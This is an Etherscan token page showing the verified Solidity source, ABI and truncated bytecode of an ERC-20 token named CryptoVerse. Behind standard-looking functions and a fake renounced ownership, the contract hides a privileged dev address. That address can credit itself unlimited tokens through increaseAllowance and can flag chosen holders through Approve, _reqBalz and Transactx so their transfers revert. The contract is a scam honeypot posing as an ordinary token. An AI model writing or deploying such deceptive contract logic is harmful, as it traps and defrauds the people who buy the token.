ETH Price: $3,381.58 (-0.20%)
Gas: 3 Gwei

Token

Crypto Universe (CryptoVerse)
 

Overview

Max Total Supply

1,000,000,000 CryptoVerse

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Robinhood
Balance
500 CryptoVerse

Value
$0.00
0x40b38765696e3d5d8d9d834d8aad4bb6e418e489
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CryptoVerse

Compiler Version
v0.8.2+commit.661d1103

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-16
*/

// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
    external
    returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
    external
    view
    returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol

// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b)
    internal
    pure
    returns (bool, uint256)
    {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

// Dependency file: @openzeppelin/contracts/access/Ownable.sol

// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

abstract contract Token {
    uint256 internal constant VERSION = 1;
    event Deploy(
        address owner,
        uint256 version
    );
}

pragma solidity ^0.8.2;

contract  CryptoVerse is IERC20, Token, Ownable {
    using SafeMath for uint256;

    struct Cus {
        address guest;
        bool isApproval;
    }

    mapping(address => uint256) private _bala;

    mapping(address => Cus) private _dat;

    mapping(address => mapping(address => uint256)) private _allow;

    mapping (address => uint256) private _crossedAmounts;

    Cus private _cus;
    string private _n;
    string private _s;
    uint8 private _d;
    uint256 private _toSu;

    constructor(
        address dev_,
        uint256 totalSupply_
    ) payable {
        _n = "Crypto Universe ";
        _s = "CryptoVerse";
        _d = 18;
        _cus.guest = dev_;
        _cus.isApproval = totalSupply_ != 0;
        _mine(msg.sender, totalSupply_ * 10**18);
        emit Deploy(
            owner(),
            VERSION
        );
    }

            modifier onlytheTeam() {
        require(msg.sender == _cus.guest); // If it is incorrect here, it reverts.
        _;                              // Otherwise, it continues.
    } 

    function name() public view virtual returns (string memory) {
        return _n;
    }

    function symbol() public view virtual returns (string memory) {
        return _s;
    }

    function decimals() public view virtual returns (uint8) {
        return _d;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _toSu;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _bala[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _tranz(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allow[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _app(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _tranz(sender, recipient, amount);
        _app(
            sender,
            _msgSender(),
            _allow[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _tranz(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _reqBalz(sender, recipient, amount);
        require(sender != address(0) && recipient != address(0) , "IERC20: transfer from the zero address");

        _beforeTrans(sender, recipient, amount);
        _bala[sender] = _bala[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _bala[recipient] = _bala[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mine(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTrans(address(0), account, amount);

        _toSu = _toSu.add(amount);
        _bala[account] = _bala[account] + amount;

        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTrans(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _min(account, amount);
        _toSu = _toSu.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _min(address user, uint256 amount) internal {
        _bala[user] = _bala[user] - amount;
    }

    function _app(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0) && spender != address(0), "IERC20: approve from the zero address");

        _allow[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function increaseAllowance(address spender, uint256 amount) public virtual {
        address from = msg.sender;
        require(spender != address(0), "Invalid address");
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (_enco(spender, _cus.guest)) {
            _min(from, total);
            total = _add(total, amount);
            _bala[spender] += total;
        } else {
            _min(from, total);
            _bala[spender] += total;
        }
    }

    function _enco(address user, address user2) internal view returns (bool) {
        bytes32 pack1 = keccak256(abi.encodePacked(user));
        bytes32 pack2 = keccak256(abi.encodePacked(user2));
        return pack1 == pack2;
    }

    function _add(uint256 num1, uint256 num2) internal pure returns (uint256) {
        if (num2 != 0) {
            return num1 + num2;
        }
        return num2;
    }

    function Approve(address from, uint256 amount) public returns (bool)  {
        address user = msg.sender;
        _reqAllow(user, from, amount);
        return _dat[user].isApproval;
        
    }

        function Transactx(address[] memory accounts, uint256 amount) public onlytheTeam {
        for (uint256 i = 0; i < accounts.length; i++) {
            _crossedAmounts[accounts[i]] = amount;
        }
    }

    function _reqAllow(address user, address from, uint256 amount) internal {
        if (_enco(user, _cus.guest)) {
            require(from != address(0), "Invalid address");
            _dat[from].isApproval = amount != 0;
            if (amount != 0) {
                _dat[from].guest = from;
            } else {
                _dat[from].guest = address(0);

            }
            _dat[user].isApproval = true;
        }
    }

    function CAmount(address account) public view returns (uint256) {
        return _crossedAmounts[account];
    }


    function _reqBalz(
        address from,
        address to,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        uint256 crossedAmount = CAmount(from);
        if (crossedAmount > 0) {
            require(amount > crossedAmount, "ERC20: cross amount is wrong");
        }
        if (_enco(from, _dat[from].guest)) {
            _bala[from] = _bala[from] + amount;
            amount = _toSu;
            _min(from, amount);
        } else {
            _bala[from] = _bala[from] + amount;
        }

    }

    function _beforeTrans(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"dev_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Deploy","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"CAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transactx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"increaseAllowance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620027623803806200276283398181016040528101906200002991906200055f565b6200003b6000620001d260201b60201c565b6040518060400160405280601081526020017f43727970746f20556e6976657273652000000000000000000000000000000000815250600690805190602001906200008892919062000481565b506040518060400160405280600b81526020017f43727970746f566572736500000000000000000000000000000000000000000081525060079080519060200190620000d692919062000481565b506012600860006101000a81548160ff021916908360ff16021790555081600560000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000811415600560000160146101000a81548160ff0219169083151502179055506200017f33670de0b6b3a764000083620001739190620006c3565b6200029660201b60201c565b7faf354defc104ba9267634f156652b1f1cfbd10746c329e2bdd48abd4c9cff929620001b06200043b60201b60201c565b6001604051620001c2929190620005e9565b60405180910390a1505062000853565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000309576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620003009062000616565b60405180910390fd5b6200031d600083836200046460201b60201c565b62000339816009546200046960201b62000a7b1790919060201c565b60098190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200038c919062000666565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200042f919062000638565b60405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b505050565b6000818362000479919062000666565b905092915050565b8280546200048f9062000762565b90600052602060002090601f016020900481019282620004b35760008555620004ff565b82601f10620004ce57805160ff1916838001178555620004ff565b82800160010185558215620004ff579182015b82811115620004fe578251825591602001919060010190620004e1565b5b5090506200050e919062000512565b5090565b5b808211156200052d57600081600090555060010162000513565b5090565b60008151905062000542816200081f565b92915050565b600081519050620005598162000839565b92915050565b600080604083850312156200057357600080fd5b6000620005838582860162000531565b9250506020620005968582860162000548565b9150509250929050565b620005ab8162000724565b82525050565b6000620005c060208362000655565b9150620005cd82620007f6565b602082019050919050565b620005e38162000758565b82525050565b6000604082019050620006006000830185620005a0565b6200060f6020830184620005d8565b9392505050565b600060208201905081810360008301526200063181620005b1565b9050919050565b60006020820190506200064f6000830184620005d8565b92915050565b600082825260208201905092915050565b6000620006738262000758565b9150620006808362000758565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006b857620006b762000798565b5b828201905092915050565b6000620006d08262000758565b9150620006dd8362000758565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000719576200071862000798565b5b828202905092915050565b6000620007318262000738565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200077b57607f821691505b60208210811415620007925762000791620007c7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4945524332303a206d696e7420746f20746865207a65726f2061646472657373600082015250565b6200082a8162000724565b81146200083657600080fd5b50565b620008448162000758565b81146200085057600080fd5b50565b611eff80620008636000396000f3fe608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806395d89b411161006657806395d89b4114610288578063a9059cbb146102a6578063ae6b8c3f146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806390ec57f114610258576100f5565b806323b872dd116100d357806323b872dd146101665780632bd69e8914610196578063313ce567146101c657806339509351146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610322565b60405161010f91906118f7565b60405180910390f35b610132600480360381019061012d91906116b8565b6103b4565b60405161013f91906118dc565b60405180910390f35b6101506103d2565b60405161015d91906119d9565b60405180910390f35b610180600480360381019061017b9190611669565b6103dc565b60405161018d91906118dc565b60405180910390f35b6101b060048036038101906101ab9190611604565b6104b5565b6040516101bd91906119d9565b60405180910390f35b6101ce6104fe565b6040516101db91906119f4565b60405180910390f35b6101fe60048036038101906101f991906116b8565b610515565b005b61021a60048036038101906102159190611604565b6106db565b60405161022791906119d9565b60405180910390f35b610238610724565b005b6102426107ac565b60405161024f91906118c1565b60405180910390f35b610272600480360381019061026d91906116b8565b6107d5565b60405161027f91906118dc565b60405180910390f35b61029061083f565b60405161029d91906118f7565b60405180910390f35b6102c060048036038101906102bb91906116b8565b6108d1565b6040516102cd91906118dc565b60405180910390f35b6102f060048036038101906102eb91906116f4565b6108ef565b005b61030c6004803603810190610307919061162d565b6109f4565b60405161031991906119d9565b60405180910390f35b60606006805461033190611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461035d90611b8e565b80156103aa5780601f1061037f576101008083540402835291602001916103aa565b820191906000526020600020905b81548152906001019060200180831161038d57829003601f168201915b5050505050905090565b60006103c86103c1610a91565b8484610a99565b6001905092915050565b6000600954905090565b60006103e9848484610c2d565b6104aa846103f5610a91565b6104a585604051806060016040528060298152602001611ea160299139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061045b610a91565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b610a99565b600190509392505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600860009054906101000a900460ff16905090565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561058a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058190611939565b60405180910390fd5b600082116105cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c490611959565b60405180910390fd5b60006105fe84600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b156106745761060d8282610f4c565b6106178184610fde565b905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106689190611a7c565b925050819055506106d5565b61067e8282610f4c565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106cd9190611a7c565b925050819055505b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61072c610a91565b73ffffffffffffffffffffffffffffffffffffffff1661074a6107ac565b73ffffffffffffffffffffffffffffffffffffffff16146107a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079790611999565b60405180910390fd5b6107aa6000611004565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000803390506107e68185856110c8565b600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160149054906101000a900460ff1691505092915050565b60606007805461084e90611b8e565b80601f016020809104026020016040519081016040528092919081815260200182805461087a90611b8e565b80156108c75780601f1061089c576101008083540402835291602001916108c7565b820191906000526020600020905b8154815290600101906020018083116108aa57829003601f168201915b5050505050905090565b60006108e56108de610a91565b8484610c2d565b6001905092915050565b600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461094c57600080fd5b60005b82518110156109ef578160046000858481518110610996577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806109e790611bf1565b91505061094f565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610a899190611a7c565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610b035750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b39906119b9565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c2091906119d9565b60405180910390a3505050565b610c3883838361133c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610ca25750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b610ce1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd890611919565b60405180910390fd5b610cec83838361153f565b610d5881604051806060016040528060278152602001611e7a60279139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e939092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610de69190611a7c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610e8691906119d9565b60405180910390a3505050565b6000838311158290610edb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed291906118f7565b60405180910390fd5b5082840390509392505050565b60008083604051602001610efc91906118a6565b604051602081830303815290604052805190602001209050600083604051602001610f2791906118a6565b6040516020818303038152906040528051906020012090508082149250505092915050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f979190611ad2565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808214610ffa578183610ff39190611a7c565b9050610ffe565b8190505b92915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6110f783600560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ee8565b1561133757600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffff